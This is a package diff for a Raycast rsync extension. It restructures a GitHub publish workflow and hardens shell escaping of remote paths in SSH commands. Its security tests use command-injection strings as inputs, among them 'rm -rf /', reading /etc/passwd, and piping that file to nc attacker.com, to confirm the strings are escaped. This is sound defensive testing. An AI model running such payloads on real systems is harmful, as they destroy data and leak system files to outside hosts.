raycast-rsync-extension 1.0.6 → 1.0.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -21,17 +21,18 @@ on:
21
21
  - major
22
22
 
23
23
  jobs:
24
- publish:
24
+ check-version:
25
25
  runs-on: ubuntu-latest
26
26
  permissions:
27
- contents: write
28
- packages: write
29
- id-token: write
27
+ contents: read
28
+ packages: read
29
+ outputs:
30
+ exists: ${{ steps.check-version.outputs.exists }}
31
+ version: ${{ steps.package-info.outputs.version }}
32
+ name: ${{ steps.package-info.outputs.name }}
30
33
  steps:
31
34
  - name: Checkout code
32
35
  uses: actions/checkout@v6
33
- with:
34
- fetch-depth: 0
35
36
 
36
37
  - name: Setup Node.js
37
38
  uses: actions/setup-node@v6
@@ -39,18 +40,6 @@ jobs:
39
40
  node-version: "20"
40
41
  cache: "npm"
41
42
 
42
- - name: Install dependencies
43
- run: npm ci
44
-
45
- - name: Install jq
46
- run: sudo apt-get update && sudo apt-get install -y jq
47
-
48
- - name: Run tests
49
- run: npm test
50
-
51
- - name: Build extension
52
- run: npm run build
53
-
54
43
  - name: Get package info
55
44
  id: package-info
56
45
  run: |
@@ -81,13 +70,50 @@ jobs:
81
70
  echo "exists=false" >> $GITHUB_OUTPUT
82
71
  echo "Version ${VERSION} is new for ${SCOPED_NAME}, will publish"
83
72
  fi
84
- continue-on-error: true
73
+
74
+ - name: Skip summary
75
+ if: steps.check-version.outputs.exists == 'true'
76
+ run: |
77
+ echo "## 📦 Publish Summary"
78
+ echo "Package: ${{ steps.package-info.outputs.name }}@${{ steps.package-info.outputs.version }}"
79
+ echo "✅ Version already exists - skipped publishing (no tests/build run)"
80
+
81
+ publish:
82
+ needs: check-version
83
+ if: needs.check-version.outputs.exists == 'false'
84
+ runs-on: ubuntu-latest
85
+ permissions:
86
+ contents: write
87
+ packages: write
88
+ id-token: write
89
+ steps:
90
+ - name: Checkout code
91
+ uses: actions/checkout@v6
92
+ with:
93
+ fetch-depth: 0
94
+
95
+ - name: Setup Node.js
96
+ uses: actions/setup-node@v6
97
+ with:
98
+ node-version: "20"
99
+ cache: "npm"
100
+
101
+ - name: Install dependencies
102
+ run: npm ci
103
+
104
+ - name: Install jq
105
+ run: sudo apt-get update && sudo apt-get install -y jq
106
+
107
+ - name: Run tests
108
+ run: npm test
109
+
110
+ - name: Build extension
111
+ run: npm run build
85
112
 
86
113
  - name: Publish to GitHub Packages
87
- if: steps.check-version.outputs.exists == 'false'
88
114
  run: |
89
- PACKAGE_NAME="${{ steps.package-info.outputs.name }}"
90
- VERSION=${{ steps.package-info.outputs.version }}
115
+ PACKAGE_NAME="${{ needs.check-version.outputs.name }}"
116
+ VERSION=${{ needs.check-version.outputs.version }}
91
117
  OWNER="${{ github.repository_owner }}"
92
118
 
93
119
  echo "Publishing $PACKAGE_NAME@$VERSION to GitHub Packages..."
@@ -114,10 +140,9 @@ jobs:
114
140
  NODE_AUTH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
115
141
 
116
142
  - name: Create Git tag
117
- if: steps.check-version.outputs.exists == 'false'
118
143
  run: |
119
- VERSION=${{ steps.package-info.outputs.version }}
120
- PACKAGE_NAME="${{ steps.package-info.outputs.name }}"
144
+ VERSION=${{ needs.check-version.outputs.version }}
145
+ PACKAGE_NAME="${{ needs.check-version.outputs.name }}"
121
146
 
122
147
  TAG_NAME="v$VERSION"
123
148
 
@@ -134,20 +159,19 @@ jobs:
134
159
  fi
135
160
 
136
161
  - name: Create GitHub Release
137
- if: steps.check-version.outputs.exists == 'false'
138
162
  uses: softprops/action-gh-release@v2
139
163
  with:
140
- tag_name: v${{ steps.package-info.outputs.version }}
141
- name: v${{ steps.package-info.outputs.version }}
164
+ tag_name: v${{ needs.check-version.outputs.version }}
165
+ name: v${{ needs.check-version.outputs.version }}
142
166
  body: |
143
- ## ${{ steps.package-info.outputs.name }}@v${{ steps.package-info.outputs.version }}
167
+ ## ${{ needs.check-version.outputs.name }}@v${{ needs.check-version.outputs.version }}
144
168
 
145
169
  **Published to GitHub Packages**
146
170
 
147
171
  ### Installation
148
172
 
149
173
  ```bash
150
- npm install @${{ github.repository_owner }}/${{ steps.package-info.outputs.name }} --registry=https://npm.pkg.github.com
174
+ npm install @${{ github.repository_owner }}/${{ needs.check-version.outputs.name }} --registry=https://npm.pkg.github.com
151
175
  ```
152
176
 
153
177
  Or add to your `.npmrc`:
@@ -160,7 +184,7 @@ jobs:
160
184
  Then install:
161
185
 
162
186
  ```bash
163
- npm install @${{ github.repository_owner }}/${{ steps.package-info.outputs.name }}
187
+ npm install @${{ github.repository_owner }}/${{ needs.check-version.outputs.name }}
164
188
  ```
165
189
 
166
190
  ### What's New
@@ -175,23 +199,14 @@ jobs:
175
199
  GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
176
200
 
177
201
  - name: Publish Summary
178
- if: always()
179
202
  run: |
180
203
  echo "## 📦 Publish Summary"
181
- echo "Package: ${{ steps.package-info.outputs.name }}@${{ steps.package-info.outputs.version }}"
182
-
183
- if [ "${{ steps.check-version.outputs.exists }}" == "true" ]; then
184
- echo " Version already exists - skipped publishing"
185
- elif [ "${{ steps.check-version.outputs.exists }}" == "false" ]; then
186
- echo "✅ Successfully published to GitHub Packages"
187
- echo "🏷️ Created tag: v${{ steps.package-info.outputs.version }}"
188
- echo "📝 Created release: v${{ steps.package-info.outputs.version }}"
189
- else
190
- echo "❌ Publish status unknown"
191
- fi
192
-
204
+ echo "Package: ${{ needs.check-version.outputs.name }}@${{ needs.check-version.outputs.version }}"
205
+ echo "✅ Successfully published to GitHub Packages"
206
+ echo "🏷️ Created tag: v${{ needs.check-version.outputs.version }}"
207
+ echo "📝 Created release: v${{ needs.check-version.outputs.version }}"
193
208
  echo ""
194
209
  echo "### 🔗 Links"
195
210
  echo "- **GitHub Packages**: https://github.com/${{ github.repository }}/packages"
196
- echo "- **Install Command**: npm install @${{ github.repository_owner }}/${{ steps.package-info.outputs.name }} --registry=https://npm.pkg.github.com"
197
- echo "- **Release**: https://github.com/${{ github.repository }}/releases/tag/v${{ steps.package-info.outputs.version }}"
211
+ echo "- **Install Command**: npm install @${{ github.repository_owner }}/${{ needs.check-version.outputs.name }} --registry=https://npm.pkg.github.com"
212
+ echo "- **Release**: https://github.com/${{ github.repository }}/releases/tag/v${{ needs.check-version.outputs.version }}"
Binary file
Binary file
Binary file
Binary file
Binary file
Binary file
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "$schema": "https://www.raycast.com/schemas/extension.json",
3
3
  "name": "raycast-rsync-extension",
4
- "version": "1.0.6",
4
+ "version": "1.0.8",
5
5
  "title": "Rsync File Transfer",
6
6
  "description": "Transfer files between local and remote servers using rsync with SSH config integration",
7
7
  "icon": "icon.png",
@@ -62,23 +62,24 @@
62
62
  ],
63
63
  "dependencies": {
64
64
  "@raycast/api": "^1.65.0",
65
- "@raycast/utils": "^2.2.2"
65
+ "@raycast/utils": "^1.19.1"
66
66
  },
67
67
  "devDependencies": {
68
68
  "@raycast/eslint-config": "^2.1.1",
69
- "@typescript-eslint/eslint-plugin": "^8.55.0",
70
- "@typescript-eslint/parser": "^8.55.0",
71
69
  "@types/node": "^25.0.10",
72
70
  "@types/react": "19.0.10",
71
+ "@typescript-eslint/eslint-plugin": "^8.56.0",
72
+ "@typescript-eslint/parser": "^8.56.0",
73
73
  "@vitest/ui": "^4.0.17",
74
- "eslint": "^9.0.0",
74
+ "eslint": "^10.0.0",
75
75
  "prettier": "^3.8.0",
76
76
  "react": "^19.0.0",
77
77
  "typescript": "^5.2.2",
78
78
  "vitest": "^4.0.17"
79
79
  },
80
80
  "overrides": {
81
- "@types/react": "19.0.10"
81
+ "@types/react": "19.0.10",
82
+ "minimatch": "^10.2.1"
82
83
  },
83
84
  "scripts": {
84
85
  "build": "npx ray build -e dist",
@@ -91,4 +92,4 @@
91
92
  "format:check": "prettier --check \"**/*.{js,jsx,ts,tsx,json,css,md}\"",
92
93
  "publish:npmjs": "npm publish --access public"
93
94
  }
94
- }
95
+ }
@@ -40,12 +40,11 @@ describe("SSH Remote Listing", () => {
40
40
 
41
41
  await executeRemoteLs(mockHostConfig, maliciousPath);
42
42
 
43
- // The malicious command should be escaped, not executed
44
- // The path is escaped and then the entire remote command is escaped
45
- // So we check that the path appears within the escaped remote command
43
+ // The malicious path should be escaped and passed as $1 to the wrapper (no execution)
46
44
  expect(capturedCommand).toMatch(/\/tmp\/test; rm -rf \//);
47
- // The semicolon should be inside quotes (part of the escaped string)
48
- expect(capturedCommand).toMatch(/'ls -lAh .*\/tmp\/test; rm -rf \/.*'/);
45
+ // Wrapper script receives path as single argument; path must be in quotes
46
+ expect(capturedCommand).toMatch(/sh -c .* _ /);
47
+ expect(capturedCommand).toMatch(/'\/tmp\/test; rm -rf \/'/);
49
48
  });
50
49
 
51
50
  it("should escape remotePath with pipe to prevent injection", async () => {
@@ -61,12 +60,10 @@ describe("SSH Remote Listing", () => {
61
60
 
62
61
  await executeRemoteLs(mockHostConfig, maliciousPath);
63
62
 
64
- // The malicious command should be escaped
65
- // The path is escaped and then the entire remote command is escaped
63
+ // The path should be escaped and passed as $1 to the wrapper
66
64
  expect(capturedCommand).toMatch(/\/tmp\/test \| cat \/etc\/passwd/);
67
- expect(capturedCommand).toMatch(
68
- /'ls -lAh .*\/tmp\/test \| cat \/etc\/passwd.*'/,
69
- );
65
+ expect(capturedCommand).toMatch(/sh -c .* _ /);
66
+ expect(capturedCommand).toMatch(/'\/tmp\/test \| cat \/etc\/passwd'/);
70
67
  });
71
68
 
72
69
  it("should escape hostAlias to prevent command injection", async () => {
@@ -102,12 +99,10 @@ describe("SSH Remote Listing", () => {
102
99
 
103
100
  await executeRemoteLs(mockHostConfig, pathWithSpaces);
104
101
 
105
- // Paths with spaces should be properly escaped
106
- // The path is escaped and then the entire remote command is escaped
102
+ // Paths with spaces should be passed as single argument to wrapper
107
103
  expect(capturedCommand).toMatch(/\/remote\/path with spaces/);
108
- expect(capturedCommand).toMatch(
109
- /'ls -lAh .*\/remote\/path with spaces.*'/,
110
- );
104
+ expect(capturedCommand).toMatch(/sh -c .* _ /);
105
+ expect(capturedCommand).toMatch(/'\/remote\/path with spaces'/);
111
106
  });
112
107
 
113
108
  it("should handle paths with single quotes", async () => {
@@ -145,13 +140,13 @@ describe("SSH Remote Listing", () => {
145
140
 
146
141
  await executeRemoteLs(mockHostConfig, complexInjection);
147
142
 
148
- // The entire malicious string should be escaped as a single argument
149
- // The path is escaped and then the entire remote command is escaped
143
+ // The entire malicious string should be escaped as single argument to wrapper
150
144
  expect(capturedCommand).toMatch(
151
145
  /\/tmp\/test; cat \/etc\/passwd \| nc attacker\.com 1234/,
152
146
  );
147
+ expect(capturedCommand).toMatch(/sh -c .* _ /);
153
148
  expect(capturedCommand).toMatch(
154
- /'ls -lAh .*\/tmp\/test; cat \/etc\/passwd \| nc attacker\.com 1234.*'/,
149
+ /'\/tmp\/test; cat \/etc\/passwd \| nc attacker\.com 1234'/,
155
150
  );
156
151
  });
157
152
 
@@ -168,23 +163,11 @@ describe("SSH Remote Listing", () => {
168
163
 
169
164
  await executeRemoteLs(mockHostConfig, tildePath);
170
165
 
171
- // The ~ should be outside quotes to allow remote shell expansion
172
- // The path after ~/ should be escaped for safety
173
- // The command should contain ~/ followed by the escaped path part
166
+ // Path is fully escaped and passed as $1; wrapper expands ~ on the remote
174
167
  expect(capturedCommand).toMatch(/~/);
175
168
  expect(capturedCommand).toMatch(/Desktop\/subdir/);
176
- // The ~ should not be inside quotes (allowing remote shell to expand it)
177
- // The path part should be escaped - the actual pattern is ~/'Desktop/subdir'
178
- // which appears as ~/'\\''Desktop/subdir'\\''' in the escaped command
179
- expect(capturedCommand).toMatch(/ls -lAh ~\/.*Desktop\/subdir/);
180
- // Verify ~ is not inside quotes (it should appear before the escaped path)
181
- const match = capturedCommand.match(/ls -lAh (.*)/);
182
- expect(match).not.toBeNull();
183
- if (match) {
184
- const pathPart = match[1];
185
- // The ~ should appear before any quotes
186
- expect(pathPart).toMatch(/^~/);
187
- }
169
+ expect(capturedCommand).toMatch(/sh -c .* _ /);
170
+ expect(capturedCommand).toMatch(/Desktop\/subdir/);
188
171
  });
189
172
 
190
173
  it("should handle standalone tilde", async () => {
@@ -200,10 +183,10 @@ describe("SSH Remote Listing", () => {
200
183
 
201
184
  await executeRemoteLs(mockHostConfig, tildePath);
202
185
 
203
- // Standalone ~ should be unescaped to allow remote shell expansion
204
- expect(capturedCommand).toMatch(/ls -lAh ~/);
205
- // Should not be inside quotes
206
- expect(capturedCommand).not.toMatch(/'~'/);
186
+ // Path ~ is escaped and passed as $1; wrapper expands it to $HOME on remote
187
+ expect(capturedCommand).toMatch(/sh -c .* _ /);
188
+ // ~ is passed as the path argument (escaped)
189
+ expect(capturedCommand).toMatch(/~/);
207
190
  });
208
191
  });
209
192
  });
package/src/utils/ssh.ts CHANGED
@@ -14,26 +14,11 @@ const execAsync = promisify(exec);
14
14
  * @returns Promise resolving to array of RemoteFile objects
15
15
  */
16
16
  /**
17
- * Escapes a remote path for use in SSH commands, handling tilde expansion
18
- * For paths starting with ~, we allow the remote shell to expand it by not escaping the ~
19
- * @param remotePath - The remote path to escape
20
- * @returns Escaped path that allows ~ expansion on remote shell
17
+ * Escapes a remote path for use in SSH commands.
18
+ * The entire path is escaped to prevent shell command injection (e.g. ~/'; malicious; echo ').
19
+ * Tilde expansion is performed safely on the remote side inside a wrapper script.
21
20
  */
22
21
  function escapeRemotePath(remotePath: string): string {
23
- // If path starts with ~/, allow remote shell to expand ~
24
- // We escape only the part after ~/ to prevent injection while allowing ~ expansion
25
- if (remotePath.startsWith("~/")) {
26
- const pathAfterTilde = remotePath.slice(2); // Everything after "~/"
27
- // Escape the path part to prevent injection, but keep ~/ unescaped
28
- // This will result in ~/'escaped-path' which allows ~ expansion
29
- const escapedPath = shellEscape(pathAfterTilde);
30
- return `~/${escapedPath}`;
31
- }
32
- if (remotePath === "~") {
33
- // Standalone ~ doesn't need escaping
34
- return "~";
35
- }
36
- // For all other paths, escape normally
37
22
  return shellEscape(remotePath);
38
23
  }
39
24
 
@@ -47,15 +32,13 @@ export async function executeRemoteLs(
47
32
  // Escape all user-provided inputs to prevent command injection
48
33
  const escapedConfigPath = shellEscape(configPath);
49
34
  const escapedHostAlias = shellEscape(hostAlias);
50
- // Use special escaping for remote paths to allow ~ expansion
35
+ // Escape entire path to prevent injection; tilde expansion is done on remote in the wrapper
51
36
  const escapedRemotePath = escapeRemotePath(remotePath);
52
37
 
53
38
  // Use ls -lAh for detailed listing with human-readable sizes
54
39
  // -l: long format, -A: all files except . and .., -h: human-readable sizes
55
- // Construct the remote command with properly escaped remotePath
56
- // The remote command is: ls -lAh <escaped-remote-path>
57
- // We escape the entire remote command for the local shell
58
- const remoteCommand = `ls -lAh ${escapedRemotePath}`;
40
+ // Remote wrapper: receive path as $1, expand ~ to $HOME safely, then run ls -lAh
41
+ const remoteCommand = `sh -c 'p="$1"; case "$p" in ~/*) p="$HOME\${p#~/}";; ~) p="$HOME";; esac; ls -lAh "$p"' _ ${escapedRemotePath}`;
59
42
  const escapedRemoteCommand = shellEscape(remoteCommand);
60
43
 
61
44
  const command = `ssh -F ${escapedConfigPath} ${escapedHostAlias} ${escapedRemoteCommand}`;
@@ -122,6 +122,11 @@ describe("Validation Utilities", () => {
122
122
  // and are safely handled by our escaping
123
123
  expect(result.valid).toBe(true);
124
124
  });
125
+
126
+ it("should allow backslash in paths (valid in Unix filenames)", () => {
127
+ const result = validateRemotePath("/tmp/path\\with\\backslashes");
128
+ expect(result.valid).toBe(true);
129
+ });
125
130
  });
126
131
 
127
132
  describe("validatePort", () => {
@@ -54,15 +54,11 @@ export function validateRemotePath(path: string): ValidationResult {
54
54
  // - & (background execution)
55
55
  // - ` (command substitution)
56
56
  // - $ (variable expansion)
57
- // - \ (escape character)
58
- // We allow parentheses, brackets, and braces as they can legitimately appear in filenames
59
- // and are safely handled by our escaping.
60
- const dangerousMetacharacters = /[;&|`$\\]/;
57
+ const dangerousMetacharacters = /[;&|`$]/;
61
58
  if (dangerousMetacharacters.test(path)) {
62
59
  return {
63
60
  valid: false,
64
- error:
65
- "Invalid path format: contains dangerous shell metacharacters. Paths are now properly escaped, but this input may be unsafe.",
61
+ error: "Invalid path format: contains dangerous shell metacharacters.",
66
62
  };
67
63
  }
68
64
 
package/metadata/1.png DELETED
Binary file
package/metadata/2.png DELETED
Binary file
package/metadata/3.png DELETED
Binary file
package/metadata/4.png DELETED
Binary file
package/metadata/5.png DELETED
Binary file